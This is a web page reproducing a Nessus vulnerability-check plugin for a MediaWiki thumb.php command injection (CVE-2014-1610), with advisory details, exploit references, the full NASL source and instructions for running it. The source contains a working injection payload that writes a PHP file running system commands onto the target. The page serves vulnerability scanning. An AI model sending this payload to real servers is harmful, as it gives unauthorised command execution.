MediaWiki thumb.php 'w' Parameter Remote Shell Command Injection - Nessus

High Plugin ID: 72618

This page contains detailed information about the MediaWiki thumb.php 'w' Parameter Remote Shell Command Injection Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

hide

Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 72618
Name: MediaWiki thumb.php 'w' Parameter Remote Shell Command Injection
Filename: mediawiki_thumb_rce.nasl
Vulnerability Published: 2014-01-28
This Plugin Published: 2014-02-21
Last Modification Time: 2022-04-11
Plugin Version: 1.12
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: mediawiki_detect.nasl, os_fingerprint.nasl
Required KB Items [?]: installed_sw/MediaWiki, www/PHP

Vulnerability Information

Severity: High
Vulnerability Published: 2014-01-28
Patch Published: 2014-01-28
CVE [?]: CVE-2014-1610
CPE [?]: cpe:/a:mediawiki:mediawiki

Synopsis

The remote web server contains an application that is affected by a remote command injection vulnerability.

Description

The version of MediaWiki running on the remote host is affected by a remote command injection vulnerability due to a failure to properly sanitize user-supplied input to the 'w' parameter in the 'thumb.php' script. A remote, unauthenticated attacker can exploit this issue to execute arbitrary commands and/or execute arbitrary code on the remote host.

Note that the application is also affected by an additional command injection issue. However, Nessus has not tested for this additional issue.

Note also that PDF file upload support and the PdfHandler extension must be enabled in order to exploit this issue.

Solution

Upgrade to MediaWiki 1.19.11 / 1.21.5 / 1.22.2 or later, and update the PdfHandler extension to the latest available version.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Core Impact, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the MediaWiki thumb.php 'w' Parameter Remote Shell Command Injection vulnerability:

Metasploit: exploit/multi/http/mediawiki_thumb
[MediaWiki Thumb.php Remote Command Execution]
Exploit-DB: exploits/multiple/remote/31767.rb
[EDB-31767: MediaWiki - 'Thumb.php' Remote Command Execution (Metasploit)]
Exploit-DB: exploits/multiple/webapps/31329.txt
[EDB-31329: MediaWiki 1.22.1 PdfHandler - Remote Code Execution]
D2 Elliot: mediawiki_thumb.php_page_parameter_remote_shell_command_injection.html
[MediaWiki thumb.php page Parameter Remote Shell Command Injection]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2014-1610
CVSS V2 Vector: AV:N/AC:M/Au:S/C:P/I:P/A:P/E:F/RL:OF/RC:C

CVSS Base Score:	6.0 (Medium)
Impact Subscore:	6.4
Exploitability Subscore:	6.8
CVSS Temporal Score:	5.0 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	5.0 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.2 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.2 (High)

Go back to menu.

Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(72618);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2014-1610");
  script_bugtraq_id(65223);
  script_xref(name:"EDB-ID", value:"31329");

  script_name(english:"MediaWiki thumb.php 'w' Parameter Remote Shell Command Injection");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains an application that is affected by a
remote command injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of MediaWiki running on the remote host is affected by a
remote command injection vulnerability due to a failure to properly
sanitize user-supplied input to the 'w' parameter in the 'thumb.php'
script. A remote, unauthenticated attacker can exploit this issue to
execute arbitrary commands and/or execute arbitrary code on the remote
host.

Note that the application is also affected by an additional command
injection issue. However, Nessus has not tested for this additional
issue.

Note also that PDF file upload support and the PdfHandler extension
must be enabled in order to exploit this issue.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2014/Feb/6");
  # https://www.checkpoint.com/threatcloud-central/articles/2014-01-28-tc-researchers-discover.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f8ca1fc8");
  script_set_attribute(attribute:"see_also", value:"https://www.mediawiki.org/wiki/Release_notes/1.19");
  script_set_attribute(attribute:"see_also", value:"https://www.mediawiki.org/wiki/Release_notes/1.21");
  script_set_attribute(attribute:"see_also", value:"https://www.mediawiki.org/wiki/Release_notes/1.22");
  # https://lists.wikimedia.org/pipermail/mediawiki-announce/2014-January/000140.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?92483abd");
  script_set_attribute(attribute:"solution", value:
"Upgrade to MediaWiki 1.19.11 / 1.21.5 / 1.22.2 or later, and update
the PdfHandler extension to the latest available version.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-1610");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"MediaWiki thumb.php page Parameter Remote Shell Command Injection");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'MediaWiki Thumb.php Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/01/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/01/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/02/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:mediawiki:mediawiki");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("mediawiki_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("installed_sw/MediaWiki", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
include("url_func.inc");

app = "MediaWiki";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);
dir = install['path'];
install_url = build_url(port:port, qs:dir);

# Variables
file = NULL;
url = "/images";

function pdf_chk(string)
{
  local_var item, file;
  item = eregmatch(pattern:'\\<a href="(.*\\.pdf)"', string:string);

  if (isnull(item)) return NULL;

  file = item[1];
  return file;
}

function d_listing(string)
{
  local_var matches, match, item, subdir, subdirs, pat;
  subdirs = make_list();
  pat = 'alt="\\[DIR\\]"\\>.*\\<a href="([^/].*/)"\\>';

  if (egrep(pattern:"\<title\>Index of (.*)", string:string))
  {
    matches = egrep(pattern:pat, string:string);
    if (matches)
    {
      foreach match (split(matches))
      {
        item = eregmatch(pattern:pat, string:match);
        if (!isnull(item))
        {
          subdir = item[1];
          if (subdir == "temp/") continue;   #Ignore temp directory
          subdirs = make_list(subdirs, subdir);
        }
      }
    }
  }
  return subdirs;
}

# Check /images for a directory listing and find an existing PDF
res = http_send_recv3(
  method : "GET",
  port   : port,
  item   : dir + url,
  exit_on_fail : TRUE,
  follow_redirect : 1
);

if (egrep(pattern:"\<title\>Index of (.*)/images\</title\>", string:res[2]))
{
  file = pdf_chk(string:res[2]);

  # Get a list of directories and traverse each to look for a PDF
  # Only go 3 levels deep
  if (isnull(file))
  {
    subdirs = d_listing(string:res[2]);
    foreach d1 (subdirs)
    {
      res = http_send_recv3(
        method : "GET",
        port   : port,
        item   : dir + url + "/" + d1,
        exit_on_fail : TRUE
      );
      if (!isnull(res[2]))
        file = pdf_chk(string:res[2]);
      if (!isnull(file)) break;

      subdirs2 = d_listing(string:res[2]);
      foreach d2 (subdirs2)
      {
        res = http_send_recv3(
          method : "GET",
          port   : port,
          item   : dir + url + "/" + d1 + d2,
          exit_on_fail : TRUE
        );
        if (!isnull(res[2]))
          file = pdf_chk(string:res[2]);
        if (!isnull(file)) break;

        subdirs3 = d_listing(string:res[2]);
        foreach d3 (subdirs3)
        {
          res = http_send_recv3(
            method : "GET",
            port   : port,
            item   : dir + url + "/" + d1 + d2 + d3,
            exit_on_fail : TRUE
          );
          if (!isnull(res[2]))
            file = pdf_chk(string:res[2]);
          if (!isnull(file)) break;
        }
        if (!isnull(file)) break;
      }
      if (!isnull(file)) break;
    }
  }
}

if (isnull(file))
  exit(0, "No PDF files were found in " + install_url + url);

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";

exp_file = SCRIPT_NAME - ".nasl" + "-" + unixtime();
r = 0;

foreach cmd (cmds)
{
  exp_file += r;
  if (cmd == "id")
    attack = '/thumb.php?f=' +file+ '&w=5|`echo "<?php system(id);' +
    'echo(\\"path=\\"); system(pwd);">images/' +exp_file+ '.php`';
  else
  {
    attack = '/thumb.php?f=' +file+ '&w=5|echo "<?php echo(' + "'<pre>');" +
    "system('ipconfig /all');system('dir " +exp_file+ ".php');" +
    '//">images/' +exp_file+ ".php";
  }

  attack = urlencode(
    str        : attack,
    unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234" +
                 "56789=+&|.?`;/()-_"
  );

  res = http_send_recv3(
    method : "GET",
    port   : port,
    item   : dir + attack,
    exit_on_fail : TRUE
  );

  if ("<h1>Error generating thumbnail</h1>" >< res[2])
  {
    res = http_send_recv3(
      method : "GET",
      port   : port,
      item   : dir + url + "/" + exp_file + ".php",
      exit_on_fail : TRUE
    );
    if (egrep(pattern:cmd_pats[cmd], string:res[2]))
    {
      if (cmd == "id")
      {
        pwd = strstr(res[2], "path");
        output = res[2] - pwd;
        path = chomp(pwd - "path=");
        break;
      }
      else
      {
        output = strstr(res[2], "Windows IP");
        item = eregmatch(pattern:"Directory of (.*)", string:res[2]);

        if (!isnull(item))
        {
          path = chomp(item[1]);
          pos = stridx(output, "Volume in drive");
          output = substr(output, 0, pos - 1);
          break;
        }
      }
      break;
    }
  }
  r++;
}

if (strlen(output) > 0)
{
  security_report_v4(
    port        : port,
    severity    : SECURITY_WARNING,
    cmd         : cmd,
    request     : make_list(install_url + attack, install_url + url + "/" + exp_file + ".php"),
   output      : chomp(output),
   rep_extra   : 
     '\nNote: This file has not been removed by Nessus and will need to'+
     '\nbe manually deleted (' +path+ ').'
  ); 
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/mediawiki_thumb_rce.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\mediawiki_thumb_rce.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/mediawiki_thumb_rce.nasl

Go back to menu.

How to Run

Here is how to run the MediaWiki thumb.php 'w' Parameter Remote Shell Command Injection as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select MediaWiki thumb.php 'w' Parameter Remote Shell Command Injection plugin ID 72618.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl mediawiki_thumb_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a mediawiki_thumb_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - mediawiki_thumb_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state mediawiki_thumb_rce.nasl -t <IP/HOST>

Go back to menu.

References

BID | SecurityFocus Bugtraq ID:

65223

See also:

Similar and related Nessus plugins:

73256 - Debian DSA-2891-1 : mediawiki, mediawiki-extensions Multiple Vulnerabilities
72376 - Fedora 20 : mediawiki-1.21.5-1.fc20 (2014-1745)
72379 - Fedora 19 : mediawiki-1.21.5-1.fc19 (2014-1802)
81227 - GLSA-201502-04 : MediaWiki: Multiple vulnerabilities
73004 - Mandriva Linux Security Advisory : mediawiki (MDVSA-2014:057)
72215 - MediaWiki < 1.19.11 / 1.21.5 / 1.22.2 Multiple Remote Code Execution Vulnerabilities
79907 - Fedora 19 : mediawiki-1.23.7-1.fc19 (2014-16020)
80289 - Fedora 20 : mediawiki-1.23.8-1.fc20 (2014-17228)
80293 - Fedora 19 : mediawiki-1.23.8-1.fc19 (2014-17264)
74412 - Fedora 19 : mediawiki-1.21.10-1.fc19 (2014-6962)
76375 - Fedora 20 : mediawiki-1.21.11-1.fc20 (2014-7779)
76376 - Fedora 19 : mediawiki-1.21.11-1.fc19 (2014-7805)
149344 - Debian DLA-2648-2 : mediawiki regression update
153966 - Debian DLA-2779-1 : mediawiki - LTS security update
104588 - Debian DSA-4036-1 : mediawiki - security update
125858 - Debian DSA-4460-1 : mediawiki - security update
132423 - Debian DSA-4592-1 : mediawiki - security update
148441 - Debian DSA-4889-1 : mediawiki - security update
153862 - Debian DSA-4979-1 : mediawiki - security update
35265 - Fedora 8 : mediawiki-1.13.3-41.99.fc8 (2008-11688)
36263 - Fedora 10 : mediawiki-1.13.3-42.fc10 (2008-11743)
35267 - Fedora 9 : mediawiki-1.13.3-42.fc9 (2008-11802)
100184 - Fedora 25 : mediawiki (2017-2643ef1cad)
99408 - Fedora 25 : mediawiki (2017-3fb95ed01f)
104693 - FreeBSD : mediawiki -- multiple vulnerabilities (298829e2-ccce-11e7-92e4-000c29649f92)
126485 - FreeBSD : mediawiki -- multiple vulnerabilities (3c5a4fe0-9ebb-11e9-9169-fcaa147e860e)
35243 - FreeBSD : mediawiki -- multiple vulnerabilities (61b07d71-ce0e-11dd-a721-0030843d3802)
156986 - GLSA-202107-40 : MediaWiki: Multiple vulnerabilities

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file mediawiki_thumb_rce.nasl version 1.12. For more plugins, visit the Nessus Plugin Library.

Go back to menu.

MediaWiki thumb.php 'w' Parameter Remote Shell Command Injection - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

Nessus Plugin Library

Solving Problems with Office 365 Email from GoDaddy

Empire Module Library

CrackMapExec Module Library

Metasploit Android Modules

Top 16 Active Directory Vulnerabilities

Top 10 Vulnerabilities: Internal Infrastructure Pentest

Terminal Escape Injection

Cisco Password Cracking and Decrypting Guide

Capture Passwords using Wireshark

SSH Brute Force Attack Tool using PuTTY / Plink (ssh-putty-brute.ps1)

SMB Brute Force Attack Tool in PowerShell (SMBLogin.ps1)

Port Scanner in PowerShell (TCP/UDP)

Nessus CSV Parser and Extractor

Default Password Scanner (default-http-login-hunter.sh)